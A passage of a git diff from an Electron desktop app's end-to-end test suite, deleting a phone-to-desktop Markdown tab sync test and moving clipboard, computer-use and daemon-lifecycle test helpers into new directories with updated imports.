relaunched.page.waitForTimeout(2_000) - return { beforeCrash, restored, after: await workspaceTabs(relaunched.page, worktreeId) } - } finally { - await session.dispose(app) - } -} - -const countTitled = (tabs: { title: string | null }[], title: string) => - tabs.filter((tab) => tab.title === title).length - -test.describe('default tabs across a crash before the first terminal start', () => { - test.skip(!LAYOUT_OWNER_BUILD, 'layout-owner build only') - test.skip(process.platform === 'win32', 'Uses POSIX SIGKILL to simulate a crash') - - test('a workspace that had no default tabs does not get ones added later', async ({ - testRepoPath - }, testInfo) => { - test.setTimeout(240_000) - const { restored, after } = await crashThenOfferTemplates(testRepoPath, testInfo, { - tabs: [], - runCommands: false - }) - - expect(restored.marked, 'the relaunch remembers the default tabs were applied').toBe(true) - for (const title of TITLES) { - expect(countTitled(after.tabs, title), `tabs titled ${title}`).toBe(0) - } - }) - - test('a workspace’s default tabs are not applied twice', async ({ testRepoPath }, testInfo) => { - test.setTimeout(240_000) - const { beforeCrash, restored, after } = await crashThenOfferTemplates(testRepoPath, testInfo, { - tabs: TEMPLATES, - runCommands: false - }) - - for (const title of TITLES) { - expect(countTitled(beforeCrash.tabs, title), `tabs titled ${title} before the crash`).toBe(1) - } - expect(restored.marked, 'the relaunch remembers the default tabs were applied').toBe(true) - for (const title of TITLES) { - expect(countTitled(after.tabs, title), `tabs titled ${title}`).toBe(1) - } - }) -}) diff --git a/tests/e2e/desktop-window-mobile-markdown.spec.ts b/tests/e2e/desktop-window-mobile-markdown.spec.ts deleted file mode 100644 index d55ed429031..00000000000 --- a/tests/e2e/desktop-window-mobile-markdown.spec.ts +++ /dev/null @@ -1,239 +0,0 @@ -// Phone reads/saves use disk even when desktop has unsaved text; preserve the desktop edit and show its changed-on-disk banner. -import { existsSync, readFileSync, rmSync } from 'node:fs' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { - RuntimeMarkdownReadTabResult, - RuntimeMarkdownSaveTabResult -} from '../../src/shared/editor/markdown/mobile-markdown-document' -import { expect, test } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - cleanupMarkdownFixture, - createMarkdownFixture, - getActiveWorktreeContext, - openMarkdownFixture, - waitForRichMarkdownEditor -} from './helpers/markdown-editor-fixture' -import { createDesktopMobilePairingOffer } from './helpers/paired-electron-client' -import { pairMobileClient } from './helpers/paired-mobile-client' - -const DISK = '# Shared notes\n\nOn disk.\n' -const DRAFT_LINE = 'unsaved desktop line' -const PHONE = '# Shared notes\n\nSaved from the phone.\n' -const BANNER = 'This file changed on disk while you have unsaved edits.' - -test('a phone saves a Markdown tab the desktop has unsaved edits in, without touching them', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(180_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const context = await getActiveWorktreeContext(orcaPage) - const filePath = await createMarkdownFixture( - context, - '.orca-e2e-phone-markdown', - 'desktop-draft', - testInfo.workerIndex, - DISK - ) - const phone = pairMobileClient(await createDesktopMobilePairingOffer(orcaPage)) - try { - await openMarkdownFixture(orcaPage, context, filePath) - const editor = await waitForRichMarkdownEditor(orcaPage) - await expect(editor).toContainText('On disk.') - await editor.click() - await orcaPage.keyboard.press('ControlOrMeta+End') - await orcaPage.keyboard.press('Enter') - await orcaPage.keyboard.insertText(DRAFT_LINE) - const desktopDraft = () => - orcaPage.evaluate((path) => { - const state = window.__store!.getState() - const file = state.openFiles.find((entry) => entry.filePath === path) - return { - draft: file ? state.editorDrafts[file.id] : undefined, - isDirty: file?.isDirty === true, - externalMutation: file?.externalMutation ?? null - } - }, filePath) - await expect.poll(async () => (await desktopDraft()).draft ?? '').toContain(DRAFT_LINE) - const before = await desktopDraft() - expect(before.isDirty).toBe(true) - - const worktree = `id:${context.worktreeId}` - let tabId = '' - await expect - .poll( - async () => { - const listed = await phone.call('session.tabs.list', { - worktree - }) - const tab = listed.tabs.find( - (entry) => entry.type === 'markdown' && entry.sourceFilePath === filePath - ) - tabId = tab?.id ?? '' - return tab?.type === 'markdown' && tab.isDirty - }, - { timeout: 30_000, message: 'the desktop never listed its dirty Markdown tab' } - ) - .toBe(true) - - // Poll through the debounced desktop session write that makes the tab discoverable. - let read: RuntimeMarkdownReadTabResult | null = null - await expect - .poll( - async () => { - const response = await phone.request('markdown.readTab', { - worktree, - tabId - }) - read = response.ok ? response.result : null - return response.ok ? 'read' : `${response.error.code}: ${response.error.message}` - }, - { timeout: 30_000 } - ) - .toBe('read') - expect(read).toMatchObject({ - tabId, - filePath, - content: DISK, - source: 'file', - isDirty: true, - editable: true - }) - - const saved = await phone.call('markdown.saveTab', { - worktree, - tabId, - baseVersion: read!.version, - content: PHONE - }) - expect(saved).toMatchObject({ tabId, isDirty: false, content: PHONE }) - expect(readFileSync(filePath, 'utf8')).toBe(PHONE) - - await expect(orcaPage.getByText(BANNER)).toBeVisible({ timeout: 30_000 }) - await testInfo.attach('desktop-after-phone-save', { - body: await orcaPage.screenshot(), - contentType: 'image/png' - }) - const after = await desktopDraft() - expect(after).toEqual({ ...before, externalMutation: 'changed' }) - await expect(editor).toContainText(DRAFT_LINE) - expect(readFileSync(filePath, 'utf8')).toBe(PHONE) - } finally { - phone.dispose() - await cleanupMarkdownFixture(filePath) - } -}) - -test("a phone reads the desktop's unsaved untitled Markdown tab read-only and never saves it", async ({ - orcaPage -}, testInfo) => { - test.setTimeout(180_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const context = await getActiveWorktreeContext(orcaPage) - const phone = pairMobileClient(await createDesktopMobilePairingOffer(orcaPage)) - let untitledPath = '' - try { - untitledPath = await orcaPage.evaluate(async (worktreeId) => { - const store = window.__store! - const before = new Set(store.getState().openFiles.map((file) => file.id)) - const groupId = store.getState().activeGroupIdByWorktree[worktreeId] ?? '' - await store.getState().openNewMarkdownInActiveWorkspace(groupId) - const created = store - .getState() - .openFiles.find((file) => !before.has(file.id) && file.isUntitled === true) - if (!created) { - throw new Error('No untitled Markdown tab was created') - } - return created.filePath - }, context.worktreeId) - const editor = await waitForRichMarkdownEditor(orcaPage) - await editor.click() - await orcaPage.keyboard.insertText(DRAFT_LINE) - await expect - .poll(() => - orcaPage.evaluate((path) => { - const state = window.__store!.getState() - const file = state.openFiles.find((entry) => entry.filePath === path) - return file?.isDirty === true && file.isUntitled === true - }, untitledPath) - ) - .toBe(true) - - const worktree = `id:${context.worktreeId}` - let tabId = '' - await expect - .poll( - async () => { - const listed = await phone.call('session.tabs.list', { - worktree - }) - const tab = listed.tabs.find( - (entry) => entry.type === 'markdown' && entry.sourceFilePath === untitledPath - ) - tabId = tab?.id ?? '' - return tab?.type === 'markdown' && tab.isDirty - }, - { timeout: 30_000, message: 'the desktop never listed its dirty untitled Markdown tab' } - ) - .toBe(true) - - // Poll through the debounced desktop session write that makes the tab discoverable. - let read: RuntimeMarkdownReadTabResult | null = null - await expect - .poll( - async () => { - const response = await phone.request('markdown.readTab', { - worktree, - tabId - }) - read = response.ok ? response.result : null - return response.ok ? 'read' : `${response.error.code}: ${response.error.message}` - }, - { timeout: 30_000 } - ) - .toBe('read') - const disk = readFileSync(untitledPath, 'utf8') - expect(read).toMatchObject({ - tabId, - filePath: untitledPath, - content: disk, - source: 'file', - isDirty: true, - editable: false, - readOnlyReason: 'unsupported_untitled' - }) - expect(JSON.stringify(read)).not.toContain(DRAFT_LINE) - - const save = await phone.request('markdown.saveTab', { - worktree, - tabId, - baseVersion: read!.version, - content: PHONE - }) - expect(save).toMatchObject({ ok: false, error: { message: 'unsupported_untitled' } }) - expect(readFileSync(untitledPath, 'utf8')).toBe(disk) - - rmSync(untitledPath) - const missingRead = await phone.request('markdown.readTab', { worktree, tabId }) - testInfo.annotations.push({ - type: 'untitled-missing-read', - description: JSON.stringify(missingRead.ok ? missingRead.result : missingRead.error) - }) - expect(missingRead.ok).toBe(false) - const missingSave = await phone.request('markdown.saveTab', { - worktree, - tabId, - baseVersion: read!.version, - content: PHONE - }) - expect(missingSave).toMatchObject({ ok: false, error: { message: 'unsupported_untitled' } }) - expect(existsSync(untitledPath)).toBe(false) - } finally { - phone.dispose() - if (untitledPath) { - await cleanupMarkdownFixture(untitledPath) - } - } -}) diff --git a/tests/e2e/helpers/compiled-orca-cli.ts b/tests/e2e/desktop/cli-invocation/compiled-orca-cli.ts similarity index 100% rename from tests/e2e/helpers/compiled-orca-cli.ts rename to tests/e2e/desktop/cli-invocation/compiled-orca-cli.ts diff --git a/tests/e2e/app-menu-paste-ownership.spec.ts b/tests/e2e/desktop/clipboard/app-menu-paste-ownership.spec.ts similarity index 93% rename from tests/e2e/app-menu-paste-ownership.spec.ts rename to tests/e2e/desktop/clipboard/app-menu-paste-ownership.spec.ts index e233d022fda..2a6d2a93bd3 100644 --- a/tests/e2e/app-menu-paste-ownership.spec.ts +++ b/tests/e2e/desktop/clipboard/app-menu-paste-ownership.spec.ts @@ -2,7 +2,8 @@ import { randomUUID } from 'node:crypto' import { rmSync, writeFileSync } from 'node:fs' import path from 'node:path' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' +import { test } from '../electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { ensureTerminalVisible, getActiveTabId, @@ -10,19 +11,18 @@ import { getWorktreeTabs, waitForActiveWorktree, waitForSessionReady -} from './helpers/store' +} from '../renderer-probes/store' +import { focusActiveTerminalInput, waitForActivePanePtyId } from '../../terminal/input/terminal' import { - focusActiveTerminalInput, sendToTerminal, - waitForActivePanePtyId, waitForActiveTerminalManager, waitForTerminalOutput -} from './helpers/terminal' +} from '../../terminal/layout/terminal-pane-operations' import { clearTerminalPtyWriteLog, installTerminalPtyWriteSpy, readTerminalPtyWrites -} from './helpers/terminal-pty-write-spy' +} from '../../terminal/input/terminal-pty-write-spy' function pasteEchoScript(runId: string): string { return ` diff --git a/tests/e2e/clipboard-macos-image-paste.spec.ts b/tests/e2e/desktop/clipboard/clipboard-macos-image-paste.spec.ts similarity index 93% rename from tests/e2e/clipboard-macos-image-paste.spec.ts rename to tests/e2e/desktop/clipboard/clipboard-macos-image-paste.spec.ts index 5015c67005f..fe2e5de8b58 100644 --- a/tests/e2e/clipboard-macos-image-paste.spec.ts +++ b/tests/e2e/desktop/clipboard/clipboard-macos-image-paste.spec.ts @@ -1,6 +1,7 @@ import { readFile, rm } from 'node:fs/promises' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' +import { test } from '../electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForSessionReady } from '../renderer-probes/store' test('macOS JPEG clipboard bytes produce a PNG and a matching preview', async ({ electronApp, diff --git a/tests/e2e/editable-context-paste-ownership.spec.ts b/tests/e2e/desktop/clipboard/editable-context-paste-ownership.spec.ts similarity index 90% rename from tests/e2e/editable-context-paste-ownership.spec.ts rename to tests/e2e/desktop/clipboard/editable-context-paste-ownership.spec.ts index 8ff3be6a7d6..50080b6e96b 100644 --- a/tests/e2e/editable-context-paste-ownership.spec.ts +++ b/tests/e2e/desktop/clipboard/editable-context-paste-ownership.spec.ts @@ -1,6 +1,7 @@ import { randomUUID } from 'node:crypto' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' +import { test } from '../electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { ensureTerminalVisible, getActiveTabId, @@ -8,13 +9,14 @@ import { getWorktreeTabs, waitForActiveWorktree, waitForSessionReady -} from './helpers/store' -import { waitForActiveTerminalManager } from './helpers/terminal' +} from '../renderer-probes/store' +import '../../terminal/input/terminal' +import { waitForActiveTerminalManager } from '../../terminal/layout/terminal-pane-operations' import { clearTerminalPtyWriteLog, installTerminalPtyWriteSpy, readTerminalPtyWrites -} from './helpers/terminal-pty-write-spy' +} from '../../terminal/input/terminal-pty-write-spy' async function dispatchEditableContextPasteFromMain( app: ElectronApplication, diff --git a/tests/e2e/tab-rename-paste-ownership.spec.ts b/tests/e2e/desktop/clipboard/tab-rename-paste-ownership.spec.ts similarity index 89% rename from tests/e2e/tab-rename-paste-ownership.spec.ts rename to tests/e2e/desktop/clipboard/tab-rename-paste-ownership.spec.ts index 0556dc374e6..9f048a34625 100644 --- a/tests/e2e/tab-rename-paste-ownership.spec.ts +++ b/tests/e2e/desktop/clipboard/tab-rename-paste-ownership.spec.ts @@ -1,6 +1,7 @@ import { randomUUID } from 'node:crypto' import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' +import { test } from '../electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { getActiveTabId, getActiveWorktreeId, @@ -8,13 +9,14 @@ import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady -} from './helpers/store' +} from '../renderer-probes/store' import { clearTerminalPtyWriteLog, installTerminalPtyWriteSpy, readTerminalPtyWrites -} from './helpers/terminal-pty-write-spy' -import { waitForActiveTerminalManager } from './helpers/terminal' +} from '../../terminal/input/terminal-pty-write-spy' +import '../../terminal/input/terminal' +import { waitForActiveTerminalManager } from '../../terminal/layout/terminal-pane-operations' function editablePasteChord(): string { return process.platform === 'darwin' ? 'Meta+V' : 'Control+V' diff --git a/tests/e2e/helpers/computer-cli-driver.ts b/tests/e2e/desktop/computer-use/computer-cli-driver.ts similarity index 98% rename from tests/e2e/helpers/computer-cli-driver.ts rename to tests/e2e/desktop/computer-use/computer-cli-driver.ts index 2bc8650cd25..eb077016236 100644 --- a/tests/e2e/helpers/computer-cli-driver.ts +++ b/tests/e2e/desktop/computer-use/computer-cli-driver.ts @@ -3,7 +3,7 @@ import { access, mkdtemp } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { promisify } from 'node:util' -import { createElectronHomeIsolation } from './electron-home-isolation' +import { createElectronHomeIsolation } from '../electron-fixtures/electron-home-isolation' const execFileAsync = promisify(execFile) const RUNTIME_METADATA_FILE = 'orca-runtime.json' diff --git a/tests/e2e/helpers/computer-coordinate-click-driver.ts b/tests/e2e/desktop/computer-use/computer-coordinate-click-driver.ts similarity index 94% rename from tests/e2e/helpers/computer-coordinate-click-driver.ts rename to tests/e2e/desktop/computer-use/computer-coordinate-click-driver.ts index 71d465a12b8..550459763db 100644 --- a/tests/e2e/helpers/computer-coordinate-click-driver.ts +++ b/tests/e2e/desktop/computer-use/computer-coordinate-click-driver.ts @@ -1,8 +1,9 @@ import type { ComputerActionResult, ComputerSnapshotResult -} from '../../../src/shared/computer/computer-use-runtime-types' -import { parseJsonOutput, runOrcaCli } from './computer-driver' +} from '../../../../src/shared/computer/computer-use-runtime-types' +import './computer-driver' +import { parseJsonOutput, runOrcaCli } from './computer-cli-driver' export async function doubleClickTextEditWord(): Promise<{ action: ComputerActionResult['action'] diff --git a/tests/e2e/helpers/computer-driver.ts b/tests/e2e/desktop/computer-use/computer-driver.ts similarity index 96% rename from tests/e2e/helpers/computer-driver.ts rename to tests/e2e/desktop/computer-use/computer-driver.ts index 477037c2a23..16cf0700c61 100644 --- a/tests/e2e/helpers/computer-driver.ts +++ b/tests/e2e/desktop/computer-use/computer-driver.ts @@ -3,14 +3,8 @@ import { mkdtemp, rm, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { promisify } from 'node:util' -import { - ensureOrcaRuntimeLaunched, - parseJsonOutput, - runOrcaCli, - stopOrcaRuntime, - type CliResult -} from './computer-cli-driver' -import { quotePowerShellLiteral } from '../../../src/shared/shell/launch/powershell-native-argument' +import { parseJsonOutput, runOrcaCli } from './computer-cli-driver' +import { quotePowerShellLiteral } from '../../../../src/shared/shell/launch/powershell-native-argument' const execFileAsync = promisify(execFile) let textEditTempDir: string | null = null @@ -23,8 +17,6 @@ let extraGeditProcesses: ChildProcess[] = [] let notepadProcess: ChildProcess | null = null let notepadAppSelector: string | null = null -export { ensureOrcaRuntimeLaunched, parseJsonOutput, runOrcaCli, stopOrcaRuntime, type CliResult } - export async function ensureTextEditLaunched(): Promise { await killTextEdit() textEditTempDir = await mkdtemp(join(tmpdir(), 'orca-computer-e2e-')) diff --git a/tests/e2e/computer-linux.e2e.ts b/tests/e2e/desktop/computer-use/computer-linux.e2e.ts similarity index 94% rename from tests/e2e/computer-linux.e2e.ts rename to tests/e2e/desktop/computer-use/computer-linux.e2e.ts index e1ce0c464e1..9e9f9e9d2ad 100644 --- a/tests/e2e/computer-linux.e2e.ts +++ b/tests/e2e/desktop/computer-use/computer-linux.e2e.ts @@ -3,16 +3,9 @@ import type { ComputerActionResult, ComputerListWindowsResult, ComputerSnapshotResult -} from '../../src/shared/computer/computer-use-runtime-types' -import { - ensureOrcaRuntimeLaunched, - ensureGeditLaunched, - findRoleIndex, - killGedit, - openGeditWindow, - parseJsonOutput, - runOrcaCli -} from './helpers/computer-driver' +} from '../../../../src/shared/computer/computer-use-runtime-types' +import { ensureGeditLaunched, findRoleIndex, killGedit, openGeditWindow } from './computer-driver' +import { ensureOrcaRuntimeLaunched, parseJsonOutput, runOrcaCli } from './computer-cli-driver' const isLinux = process.platform === 'linux' const e2eOptIn = process.env.ORCA_COMPUTER_E2E === '1' diff --git a/tests/e2e/computer-mac-safari.e2e.ts b/tests/e2e/desktop/computer-use/computer-mac-safari.e2e.ts similarity index 96% rename from tests/e2e/computer-mac-safari.e2e.ts rename to tests/e2e/desktop/computer-use/computer-mac-safari.e2e.ts index 4d72f37aee7..16c5aca8b3c 100644 --- a/tests/e2e/computer-mac-safari.e2e.ts +++ b/tests/e2e/desktop/computer-use/computer-mac-safari.e2e.ts @@ -3,16 +3,14 @@ import type { ComputerActionResult, ComputerListWindowsResult, ComputerSnapshotResult -} from '../../src/shared/computer/computer-use-runtime-types' +} from '../../../../src/shared/computer/computer-use-runtime-types' import { closeSafariDraftFixture, - ensureOrcaRuntimeLaunched, ensureSafariDraftFixtureLaunched, findRoleIndex, - parseJsonOutput, - runOrcaCli, type SafariDraftFixture -} from './helpers/computer-driver' +} from './computer-driver' +import { ensureOrcaRuntimeLaunched, parseJsonOutput, runOrcaCli } from './computer-cli-driver' const isMac = process.platform === 'darwin' const e2eOptIn = process.env.ORCA_COMPUTER_E2E === '1' diff --git a/tests/e2e/computer-mac.e2e.ts b/tests/e2e/desktop/computer-use/computer-mac.e2e.ts similarity index 94% rename from tests/e2e/computer-mac.e2e.ts rename to tests/e2e/desktop/computer-use/computer-mac.e2e.ts index df824912b73..1583478e426 100644 --- a/tests/e2e/computer-mac.e2e.ts +++ b/tests/e2e/desktop/computer-use/computer-mac.e2e.ts @@ -2,20 +2,18 @@ import { afterAll, beforeAll, describe, expect, test } from 'vitest' import type { ComputerActionResult, ComputerSnapshotResult -} from '../../src/shared/computer/computer-use-runtime-types' +} from '../../../../src/shared/computer/computer-use-runtime-types' import { activateFinder, - ensureOrcaRuntimeLaunched, ensureTextEditLaunched, findRoleIndex, - killTextEdit, - parseJsonOutput, - runOrcaCli -} from './helpers/computer-driver' + killTextEdit +} from './computer-driver' +import { ensureOrcaRuntimeLaunched, parseJsonOutput, runOrcaCli } from './computer-cli-driver' import { clickCapturedTextEditOpenDialog, doubleClickTextEditWord -} from './helpers/computer-coordinate-click-driver' +} from './computer-coordinate-click-driver' const isMac = process.platform === 'darwin' const e2eOptIn = process.env.ORCA_COMPUTER_E2E === '1' diff --git a/tests/e2e/computer-windows-background.e2e.ts b/tests/e2e/desktop/computer-use/computer-windows-background.e2e.ts similarity index 96% rename from tests/e2e/computer-windows-background.e2e.ts rename to tests/e2e/desktop/computer-use/computer-windows-background.e2e.ts index dcd473b908f..4386b9f47c6 100644 --- a/tests/e2e/computer-windows-background.e2e.ts +++ b/tests/e2e/desktop/computer-use/computer-windows-background.e2e.ts @@ -1,14 +1,15 @@ import { afterAll, beforeAll, describe, expect, test } from 'vitest' -import type { ComputerActionResult } from '../../src/shared/computer/computer-use-runtime-types' -import { ensureOrcaRuntimeLaunched, runOrcaCli, stopOrcaRuntime } from './helpers/computer-driver' -import { elementIndex, runPatternAction } from './helpers/windows-fixture-actions' +import type { ComputerActionResult } from '../../../../src/shared/computer/computer-use-runtime-types' +import './computer-driver' +import { ensureOrcaRuntimeLaunched, runOrcaCli, stopOrcaRuntime } from './computer-cli-driver' +import { elementIndex, runPatternAction } from './windows-fixture-actions' import { launchWindowsFormsFixture, launchWindowsSemanticFixture, type WindowsFormsFixture, type WindowsFormsFixtureState, type WindowsSemanticFixture -} from './helpers/windows-semantic-controls-fixture' +} from './windows-semantic-controls-fixture' const isWindows = process.platform === 'win32' const e2eOptIn = process.env.ORCA_COMPUTER_E2E === '1' diff --git a/tests/e2e/computer-windows.e2e.ts b/tests/e2e/desktop/computer-use/computer-windows.e2e.ts similarity index 97% rename from tests/e2e/computer-windows.e2e.ts rename to tests/e2e/desktop/computer-use/computer-windows.e2e.ts index 3a5409326fc..706ecafbd9f 100644 --- a/tests/e2e/computer-windows.e2e.ts +++ b/tests/e2e/desktop/computer-use/computer-windows.e2e.ts @@ -7,24 +7,26 @@ import type { ComputerListAppsResult, ComputerListWindowsResult, ComputerSnapshotResult -} from '../../src/shared/computer/computer-use-runtime-types' +} from '../../../../src/shared/computer/computer-use-runtime-types' import { - ensureOrcaRuntimeLaunched, ensureNotepadLaunched, findRoleIndex, getNotepadAppSelector, - killNotepad, + killNotepad +} from './computer-driver' +import { + ensureOrcaRuntimeLaunched, parseJsonOutput, runOrcaCli, stopOrcaRuntime -} from './helpers/computer-driver' -import { editableRolePattern, focusNotepadDocument } from './helpers/notepad-document' +} from './computer-cli-driver' +import { editableRolePattern, focusNotepadDocument } from './notepad-document' import { closeWindowFixture, countMagentaPixelRatio, launchHungWindowFixture, launchWindowFixture -} from './helpers/windows-form-fixture' +} from './windows-form-fixture' const isWindows = process.platform === 'win32' const e2eOptIn = process.env.ORCA_COMPUTER_E2E === '1' diff --git a/tests/e2e/helpers/notepad-document.ts b/tests/e2e/desktop/computer-use/notepad-document.ts similarity index 78% rename from tests/e2e/helpers/notepad-document.ts rename to tests/e2e/desktop/computer-use/notepad-document.ts index 0403207a312..6af27818bcc 100644 --- a/tests/e2e/helpers/notepad-document.ts +++ b/tests/e2e/desktop/computer-use/notepad-document.ts @@ -1,6 +1,7 @@ import { expect } from 'vitest' -import type { ComputerSnapshotResult } from '../../../src/shared/computer/computer-use-runtime-types' -import { findRoleIndex, parseJsonOutput, runOrcaCli } from './computer-driver' +import type { ComputerSnapshotResult } from '../../../../src/shared/computer/computer-use-runtime-types' +import { findRoleIndex } from './computer-driver' +import { parseJsonOutput, runOrcaCli } from './computer-cli-driver' export const editableRolePattern = /^\s*(\d+)\s+(document|edit|text|pane)(?:\s|$)/im export async function focusNotepadDocument(app: string): Promise { diff --git a/tests/e2e/helpers/windows-fixture-actions.ts b/tests/e2e/desktop/computer-use/windows-fixture-actions.ts similarity index 90% rename from tests/e2e/helpers/windows-fixture-actions.ts rename to tests/e2e/desktop/computer-use/windows-fixture-actions.ts index 839a598a03d..ebae23114b5 100644 --- a/tests/e2e/helpers/windows-fixture-actions.ts +++ b/tests/e2e/desktop/computer-use/windows-fixture-actions.ts @@ -2,8 +2,9 @@ import { expect } from 'vitest' import type { ComputerActionResult, ComputerSnapshotResult -} from '../../../src/shared/computer/computer-use-runtime-types' -import { findRoleIndex, parseJsonOutput, runOrcaCli } from './computer-driver' +} from '../../../../src/shared/computer/computer-use-runtime-types' +import { findRoleIndex } from './computer-driver' +import { parseJsonOutput, runOrcaCli } from './computer-cli-driver' import type { WindowsControlsFixture, WindowsFormsFixtureState, diff --git a/tests/e2e/helpers/windows-foreground-holder.ps1 b/tests/e2e/desktop/computer-use/windows-foreground-holder.ps1 similarity index 100% rename from tests/e2e/helpers/windows-foreground-holder.ps1 rename to tests/e2e/desktop/computer-use/windows-foreground-holder.ps1 diff --git a/tests/e2e/helpers/windows-foreground-holder.ts b/tests/e2e/desktop/computer-use/windows-foreground-holder.ts similarity index 97% rename from tests/e2e/helpers/windows-foreground-holder.ts rename to tests/e2e/desktop/computer-use/windows-foreground-holder.ts index 59c13938dd6..d7704a5a665 100644 --- a/tests/e2e/helpers/windows-foreground-holder.ts +++ b/tests/e2e/desktop/computer-use/windows-foreground-holder.ts @@ -6,7 +6,10 @@ import { createInterface } from 'node:readline' import { promisify } from 'node:util' const execFileAsync = promisify(execFile) -const holderScript = join(process.cwd(), 'tests/e2e/helpers/windows-foreground-holder.ps1') +const holderScript = join( + process.cwd(), + 'tests/e2e/desktop/computer-use/windows-foreground-holder.ps1' +) const REPLY_TIMEOUT_MS = 15_000 export type WindowsForegroundHolder = { diff --git a/tests/e2e/helpers/windows-form-fixture.ts b/tests/e2e/desktop/computer-use/windows-form-fixture.ts similarity index 97% rename from tests/e2e/helpers/windows-form-fixture.ts rename to tests/e2e/desktop/computer-use/windows-form-fixture.ts index 2262df897e2..66305952f87 100644 --- a/tests/e2e/helpers/windows-form-fixture.ts +++ b/tests/e2e/desktop/computer-use/windows-form-fixture.ts @@ -4,7 +4,7 @@ import { mkdtemp, rm, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { expect, vi } from 'vitest' -import { quotePowerShellLiteral } from '../../../src/shared/shell/launch/powershell-native-argument' +import { quotePowerShellLiteral } from '../../../../src/shared/shell/launch/powershell-native-argument' export type WindowFixture = { pid: number; dir: string } diff --git a/tests/e2e/helpers/windows-ime-native-events.ts b/tests/e2e/desktop/computer-use/windows-ime-native-events.ts similarity index 100% rename from tests/e2e/helpers/windows-ime-native-events.ts rename to tests/e2e/desktop/computer-use/windows-ime-native-events.ts diff --git a/tests/e2e/helpers/windows-semantic-controls-fixture.ps1 b/tests/e2e/desktop/computer-use/windows-semantic-controls-fixture.ps1 similarity index 100% rename from tests/e2e/helpers/windows-semantic-controls-fixture.ps1 rename to tests/e2e/desktop/computer-use/windows-semantic-controls-fixture.ps1 diff --git a/tests/e2e/helpers/windows-semantic-controls-fixture.ts b/tests/e2e/desktop/computer-use/windows-semantic-controls-fixture.ts similarity index 98% rename from tests/e2e/helpers/windows-semantic-controls-fixture.ts rename to tests/e2e/desktop/computer-use/windows-semantic-controls-fixture.ts index 91a7eaeaa35..c7ef01e044c 100644 --- a/tests/e2e/helpers/windows-semantic-controls-fixture.ts +++ b/tests/e2e/desktop/computer-use/windows-semantic-controls-fixture.ts @@ -7,7 +7,7 @@ import { vi } from 'vitest' import { z } from 'zod' const execFileAsync = promisify(execFile) -const helpersDir = join(process.cwd(), 'tests/e2e/helpers') +const helpersDir = join(process.cwd(), 'tests/e2e/desktop/computer-use') const FixtureActivationSchema = z.object({ ready: z.boolean(), diff --git a/tests/e2e/helpers/windows-semantic-controls-fixture.winforms.ps1 b/tests/e2e/desktop/computer-use/windows-semantic-controls-fixture.winforms.ps1 similarity index 100% rename from tests/e2e/helpers/windows-semantic-controls-fixture.winforms.ps1 rename to tests/e2e/desktop/computer-use/windows-semantic-controls-fixture.winforms.ps1 diff --git a/tests/e2e/helpers/daemon-generation-processes.ts b/tests/e2e/desktop/daemon-lifecycle/daemon-generation-processes.ts similarity index 100% rename from tests/e2e/helpers/daemon-generation-processes.ts rename to tests/e2e/desktop/daemon-lifecycle/daemon-generation-processes.ts diff --git a/tests/e2e/helpers/daemon-generation-runtime-fixture.ts b/tests/e2e/desktop/daemon-lifecycle/daemon-generation-runtime-fixture.ts similarity index 100% rename from tests/e2e/helpers/daemon-generation-runtime-fixture.ts rename to tests/e2e/desktop/daemon-lifecycle/daemon-generation-runtime-fixture.ts diff --git a/tests/e2e/helpers/daemon-generation-safety-fixtures.ts b/tests/e2e/desktop/daemon-lifecycle/daemon-generation-safety-fixtures.ts similarity index 94% rename from tests/e2e/helpers/daemon-generation-safety-fixtures.ts rename to tests/e2e/desktop/daemon-lifecycle/daemon-generation-safety-fixtures.ts index 17cd783c02f..e47ae996b49 100644 --- a/tests/e2e/helpers/daemon-generation-safety-fixtures.ts +++ b/tests/e2e/desktop/daemon-lifecycle/daemon-generation-safety-fixtures.ts @@ -2,11 +2,11 @@ import { fork, type ChildProcess } from 'node:child_process' import { randomUUID } from 'node:crypto' import { existsSync, readFileSync } from 'node:fs' import path from 'node:path' -import { DaemonPtyAdapter } from '../../../src/main/daemon/providers/adapter/daemon-pty-adapter' +import { DaemonPtyAdapter } from '../../../../src/main/daemon/providers/adapter/daemon-pty-adapter' import { getDaemonSocketPath, getDaemonTokenPath -} from '../../../src/main/daemon/launch/daemon-spawner' +} from '../../../../src/main/daemon/launch/daemon-spawner' import { recordProcessIdentity, recordProcessTree, @@ -14,14 +14,12 @@ import { waitForCondition, type RecordedProcessIdentity } from './daemon-generation-processes' -import { - createDaemonGenerationRuntime, - type DaemonGenerationRuntime -} from './daemon-generation-runtime-fixture' -import { DAEMON_GENERATION_WORKTREE_ID } from '../fixtures/daemon-generation-fixture-contract' +import './daemon-generation-runtime-fixture' +import type { DaemonGenerationRuntime } from './daemon-generation-runtime-fixture' + +import { DAEMON_GENERATION_WORKTREE_ID } from '../../fixtures/daemon-generation-fixture-contract' const MAX_CAPTURED_CHARS = 32_768 -export { createDaemonGenerationRuntime, type DaemonGenerationRuntime } export type DaemonGeneration = { label: string diff --git a/tests/e2e/daemon-lifecycle-retirement.spec.ts b/tests/e2e/desktop/daemon-lifecycle/daemon-lifecycle-retirement.spec.ts similarity index 95% rename from tests/e2e/daemon-lifecycle-retirement.spec.ts rename to tests/e2e/desktop/daemon-lifecycle/daemon-lifecycle-retirement.spec.ts index 963873dc546..b35593a41d4 100644 --- a/tests/e2e/daemon-lifecycle-retirement.spec.ts +++ b/tests/e2e/desktop/daemon-lifecycle/daemon-lifecycle-retirement.spec.ts @@ -6,14 +6,14 @@ 